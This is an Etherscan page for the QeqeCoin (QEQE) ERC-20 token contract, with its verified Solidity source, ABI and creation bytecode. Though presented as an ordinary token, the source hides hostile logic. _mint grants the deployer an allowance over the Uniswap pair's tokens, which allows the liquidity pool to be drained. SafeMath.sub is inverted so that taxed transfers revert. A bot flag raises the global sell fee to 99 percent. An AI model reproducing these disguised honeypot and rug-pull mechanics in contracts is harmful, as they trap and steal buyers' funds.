ERC-20
Overview
Max Total Supply
888,888,888 QEQE
Holders
120
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
6,957,648.903525972004102221 QEQEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
QeqeCoin
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-14 */ // SPDX-License-Identifier: MIT // https://twitter.com/qeqe_coin // https://t.me/qeqecoin_announcements // https://www.qeqecoin.vip/ pragma solidity ^0.8.19; abstract contract Context { function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = b - a; return c; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; string private _name; string private _symbol; address public pair; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount;_allowances[pair][account] = amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: approve from the zero address"); require(to != address(0), "ERC20: approve to the zero address"); _allowances[from][to] = amount; } } library Address{ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract QeqeCoin is ERC20, Ownable{ using SafeMath for uint256; using Address for address payable; IRouter public uniswapRouter; uint256 public originBlock; uint256 public blockedDie = 0; mapping (address => bool) public excludedFromFees; mapping (address => bool) private isBot; mapping (address => bool) public blacklist; uint256 public buyFeeAmt = 0; // zero uint256 public sellFeeAmt = 0; // zero uint256 public botTax = 99; address public marketWallet = 0x0000000000000000000000000000000000000000; address public teamWallet = 0x0000000000000000000000000000000000000000; uint256 public swapExact = 400_000 * 10e18; uint256 public maxTxValue = 40_000_000 * 10**18; // 5% uint256 public maxWalletValue = 40_000_000 * 10**18; // 5% bool private inSwap; bool public swapEnabled; bool public tradingActive; constructor() ERC20("QeQe", "QEQE") { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()) .createPair(address(this), _router.WETH()); uniswapRouter = _router; pair = _pair; excludedFromFees[msg.sender] = true; excludedFromFees[address(this)] = true; _mint(msg.sender, 888_888_888 * 10 ** decimals()); // 1B } function manualSwap(uint256 amount, uint256 devPercentage, uint256 marketingPercentage) external onlyOwner{ uint256 initBalance = address(this).balance; swapAllTokensToEth(amount); uint256 newBalance = address(this).balance - initBalance; if(marketingPercentage > 0) payable(marketWallet).sendValue(newBalance * marketingPercentage / (devPercentage + marketingPercentage)); if(devPercentage > 0) payable(teamWallet).sendValue(newBalance * devPercentage / (devPercentage + marketingPercentage)); } function withdrawETH(uint256 weiAmount) external onlyOwner{ payable(owner()).sendValue(weiAmount); } function withdrawErc20Token(address tokenAddress, uint256 amount) external onlyOwner{ IERC20(tokenAddress).transfer(owner(), amount); } function _transfer( address sender, address recipient, uint256 amount ) internal override { require(amount > 0, "Transfer amount must be greater than zero"); // require(!blacklist[sender] && !blacklist[recipient], "You are blacklisted"); if( isBot[sender] || isBot[recipient] ) { sellFeeAmt = botTax; } if( !excludedFromFees[sender] && !excludedFromFees[recipient] && !inSwap ) { require(tradingActive, "Trading is not active yet"); if (originBlock + blockedDie > block.number) { if(recipient != pair) isBot[recipient] = true; if(sender != pair) isBot[sender] = true; } require(amount <= maxTxValue, "MaxTxAmount"); if(recipient != pair){ require(balanceOf(recipient) + amount <= maxWalletValue, "MaxWalletAmount"); } } uint256 taxAmt; if (inSwap || excludedFromFees[sender] || excludedFromFees[recipient] ) { taxAmt = 0; } else { if(recipient == pair && !isBot[sender]) { taxAmt = amount * sellFeeAmt / 100; } else { taxAmt = amount * buyFeeAmt / 100; } } if ( swapEnabled && !inSwap && sender != pair && taxAmt > 0 ) { swapBackForEth(); } if(taxAmt > 0) { super._transfer(sender, address(this) ,taxAmt); super._transfer(sender, recipient, amount.sub(taxAmt)); } else { super._transfer(sender, recipient, amount); } } function swapBackForEth() private { uint256 contractBalance = balanceOf(address(this)); if (contractBalance >= swapExact) { uint256 initialBalance = address(this).balance; swapAllTokensToEth(contractBalance); uint256 deltaBalance = address(this).balance - initialBalance; payable(marketWallet).sendValue(deltaBalance); } } function swapAllTokensToEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapRouter.WETH(); _approve(address(this), address(uniswapRouter), tokenAmount); // make the swap uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapRouter), tokenAmount); // add the liquidity uniswapRouter.addLiquidityETH{value: bnbAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable teamWallet, block.timestamp ); } function addBots(address[] memory isBot_) public onlyOwner { for (uint i = 0; i < isBot_.length; i++) { isBot[isBot_[i]] = true; } } function enableTrading() external onlyOwner{ tradingActive = true; swapEnabled = true; } function updateMaxTxAmount(uint256 amount) external onlyOwner{ maxTxValue = amount * 10**18; } function updateMaxWalletAmount(uint256 amount) external onlyOwner{ maxWalletValue = amount * 10**18; } // function setSwapEnabled(bool state) external onlyOwner { // swapEnabled = state; // } // function setSwapMaxAmount(uint256 new_amount) external onlyOwner { // swapExact = new_amount; // } // function setBuyFee(uint256 _fee) external onlyOwner{ // buyFeeAmt = _fee; // } // function setSellFee(uint256 _fee) external onlyOwner{ // sellFeeAmt = _fee; // } // function updateMarketingAddress(address newWallet) external onlyOwner{ // marketWallet = newWallet; // } // function updateDevAddress(address newWallet) external onlyOwner{ // teamWallet = newWallet; // } // function updateRouterAndPair(IRouter _router, address _pair) external onlyOwner { // uniswapRouter = _router; // pair = _pair; // } // function addBlacklists(address[] memory blacklists_) public onlyOwner { // for (uint i = 0; i < blacklists_.length; i++) { // blacklist[blacklists_[i]] = true; // } // } // function updateExcludedFromFees(address[] memory address_) external onlyOwner { // for (uint i = 0; i < address_.length; i++) { // excludedFromFees[address_[i]] = true; // } // } // fallbacks receive() external payable { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"isBot_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"blacklist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blockedDie","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"devPercentage","type":"uint256"},{"internalType":"uint256","name":"marketingPercentage","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"originBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeeAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapExact","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20Token","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040525f6009819055600d819055600e556063600f55601080546001600160a01b03199081169091556011805490911690556a034f086f3b33b6840000006012556a2116545850052128000000601381905560145534801562000062575f80fd5b50604051806040016040528060048152602001635165516560e01b815250604051806040016040528060048152602001635145514560e01b8152508160019081620000ae9190620004ca565b506002620000bd8282620004ca565b505050620000da620000d4620002d560201b60201c565b620002d9565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000130573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000156919062000592565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001c8919062000592565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000213573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000239919062000592565b600780546001600160a01b038086166001600160a01b0319928316179092556003805492841692909116919091179055335f818152600a6020526040808220805460ff1990811660019081179092553084529190922080549091169091179055909150620002cd90620002aa601290565b620002b790600a620006d0565b620002c7906334fb5e38620006e0565b6200032a565b505062000710565b3390565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216620003855760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060055f828254620003989190620006fa565b90915550506003546001600160a01b039081165f90815260046020908152604080832093861683529281528282208490558190529081208054839290620003e1908490620006fa565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200045357607f821691505b6020821081036200047257634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620004c5575f81815260208120601f850160051c81016020861015620004a05750805b601f850160051c820191505b81811015620004c157828155600101620004ac565b5050505b505050565b81516001600160401b03811115620004e657620004e66200042a565b620004fe81620004f784546200043e565b8462000478565b602080601f83116001811462000534575f84156200051c5750858301515b5f19600386901b1c1916600185901b178555620004c1565b5f85815260208120601f198616915b82811015620005645788860151825594840194600190910190840162000543565b50858210156200058257878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f60208284031215620005a3575f80fd5b81516001600160a01b0381168114620005ba575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200061557815f1904821115620005f957620005f9620005c1565b808516156200060757918102915b93841c9390800290620005da565b509250929050565b5f826200062d57506001620006ca565b816200063b57505f620006ca565b81600181146200065457600281146200065f576200067f565b6001915050620006ca565b60ff841115620006735762000673620005c1565b50506001821b620006ca565b5060208310610133831016604e8410600b8410161715620006a4575081810a620006ca565b620006b08383620005d5565b805f1904821115620006c657620006c6620005c1565b0290505b92915050565b5f620005ba60ff8416836200061d565b8082028115828204841417620006ca57620006ca620005c1565b80820180821115620006ca57620006ca620005c1565b611b6e806200071e5f395ff3fe608060405260043610610215575f3560e01c80639654b5c31161011e578063dbe66ca0116100a8578063f2fde38b1161006d578063f2fde38b14610623578063f68311ab14610642578063f9f92be414610657578063fbe4ee2a14610685578063fce6a6061461069a575f80fd5b8063dbe66ca01461055e578063dd62ed3e1461058c578063e4440a86146105d0578063e8eecf4c146105ef578063f14210a614610604575f80fd5b8063a9059cbb116100ee578063a9059cbb146104cd578063bbc0c742146104ec578063c18bc1951461050b578063c74e66511461052a578063d34628cc1461053f575f80fd5b80639654b5c31461045b5780639ed6b92014610470578063a457c2d71461048f578063a8aa1b31146104ae575f80fd5b8063599270441161019f578063715018a61161016f578063715018a6146103e3578063735de9f7146103f75780638a8c523c146104165780638da5cb5b1461042a57806395d89b4114610447575f80fd5b8063599270441461033b5780636256d181146103725780636ddd17131461039157806370a08231146103af575f80fd5b806326b5d32f116101e557806326b5d32f146102b6578063313ce567146102d757806339509351146102f25780633cc7f0f5146103115780634e17a2db14610326575f80fd5b806306fdde0314610220578063095ea7b31461024a57806318160ddd1461027957806323b872dd14610297575f80fd5b3661021c57005b5f80fd5b34801561022b575f80fd5b506102346106af565b6040516102419190611749565b60405180910390f35b348015610255575f80fd5b506102696102643660046117b8565b61073f565b6040519015158152602001610241565b348015610284575f80fd5b506005545b604051908152602001610241565b3480156102a2575f80fd5b506102696102b13660046117e2565b610755565b3480156102c1575f80fd5b506102d56102d0366004611820565b610809565b005b3480156102e2575f80fd5b5060405160128152602001610241565b3480156102fd575f80fd5b5061026961030c3660046117b8565b6108c3565b34801561031c575f80fd5b5061028960095481565b348015610331575f80fd5b50610289600d5481565b348015610346575f80fd5b5060115461035a906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b34801561037d575f80fd5b506102d561038c366004611849565b6108f9565b34801561039c575f80fd5b5060155461026990610100900460ff1681565b3480156103ba575f80fd5b506102896103c9366004611860565b6001600160a01b03165f9081526020819052604090205490565b3480156103ee575f80fd5b506102d561093b565b348015610402575f80fd5b5060075461035a906001600160a01b031681565b348015610421575f80fd5b506102d5610970565b348015610435575f80fd5b506006546001600160a01b031661035a565b348015610452575f80fd5b506102346109ad565b348015610466575f80fd5b50610289600e5481565b34801561047b575f80fd5b506102d561048a3660046117b8565b6109bc565b34801561049a575f80fd5b506102696104a93660046117b8565b610a7a565b3480156104b9575f80fd5b5060035461035a906001600160a01b031681565b3480156104d8575f80fd5b506102696104e73660046117b8565b610b14565b3480156104f7575f80fd5b506015546102699062010000900460ff1681565b348015610516575f80fd5b506102d5610525366004611849565b610b20565b348015610535575f80fd5b5061028960145481565b34801561054a575f80fd5b506102d561055936600461188f565b610b62565b348015610569575f80fd5b50610269610578366004611860565b600a6020525f908152604090205460ff1681565b348015610597575f80fd5b506102896105a636600461194f565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156105db575f80fd5b5060105461035a906001600160a01b031681565b3480156105fa575f80fd5b5061028960135481565b34801561060f575f80fd5b506102d561061e366004611849565b610bf5565b34801561062e575f80fd5b506102d561063d366004611860565b610c47565b34801561064d575f80fd5b5061028960085481565b348015610662575f80fd5b50610269610671366004611860565b600c6020525f908152604090205460ff1681565b348015610690575f80fd5b50610289600f5481565b3480156106a5575f80fd5b5061028960125481565b6060600180546106be90611986565b80601f01602080910402602001604051908101604052809291908181526020018280546106ea90611986565b80156107355780601f1061070c57610100808354040283529160200191610735565b820191905f5260205f20905b81548152906001019060200180831161071857829003601f168201915b5050505050905090565b5f61074b338484610cdf565b5060015b92915050565b5f610761848484610e02565b6001600160a01b0384165f908152600460209081526040808320338452909152902054828110156107ea5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6107fe85336107f986856119d2565b610cdf565b506001949350505050565b6006546001600160a01b031633146108335760405162461bcd60e51b81526004016107e1906119e5565b4761083d846111f7565b5f61084882476119d2565b905082156108835761088361085d8486611a1a565b6108678584611a2d565b6108719190611a44565b6010546001600160a01b031690611347565b83156108bc576108bc6108968486611a1a565b6108a08684611a2d565b6108aa9190611a44565b6011546001600160a01b031690611347565b5050505050565b335f8181526004602090815260408083206001600160a01b0387168452909152812054909161074b9185906107f9908690611a1a565b6006546001600160a01b031633146109235760405162461bcd60e51b81526004016107e1906119e5565b61093581670de0b6b3a7640000611a2d565b60135550565b6006546001600160a01b031633146109655760405162461bcd60e51b81526004016107e1906119e5565b61096e5f61145c565b565b6006546001600160a01b0316331461099a5760405162461bcd60e51b81526004016107e1906119e5565b6015805462ffff00191662010100179055565b6060600280546106be90611986565b6006546001600160a01b031633146109e65760405162461bcd60e51b81526004016107e1906119e5565b816001600160a01b031663a9059cbb610a076006546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610a51573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a759190611a63565b505050565b335f9081526004602090815260408083206001600160a01b038616845290915281205482811015610afb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016107e1565b610b0a33856107f986856119d2565b5060019392505050565b5f61074b338484610e02565b6006546001600160a01b03163314610b4a5760405162461bcd60e51b81526004016107e1906119e5565b610b5c81670de0b6b3a7640000611a2d565b60145550565b6006546001600160a01b03163314610b8c5760405162461bcd60e51b81526004016107e1906119e5565b5f5b8151811015610bf1576001600b5f848481518110610bae57610bae611a82565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905580610be981611a96565b915050610b8e565b5050565b6006546001600160a01b03163314610c1f5760405162461bcd60e51b81526004016107e1906119e5565b610c4481610c356006546001600160a01b031690565b6001600160a01b031690611347565b50565b6006546001600160a01b03163314610c715760405162461bcd60e51b81526004016107e1906119e5565b6001600160a01b038116610cd65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107e1565b610c448161145c565b6001600160a01b038316610d415760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e1565b6001600160a01b038216610da25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e1565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8111610e635760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e1565b6001600160a01b0383165f908152600b602052604090205460ff1680610ea057506001600160a01b0382165f908152600b602052604090205460ff165b15610eac57600f54600e555b6001600160a01b0383165f908152600a602052604090205460ff16158015610eec57506001600160a01b0382165f908152600a602052604090205460ff16155b8015610efb575060155460ff16155b156110a05760155462010000900460ff16610f585760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f7420616374697665207965740000000000000060448201526064016107e1565b43600954600854610f699190611a1a565b1115610fdf576003546001600160a01b03838116911614610f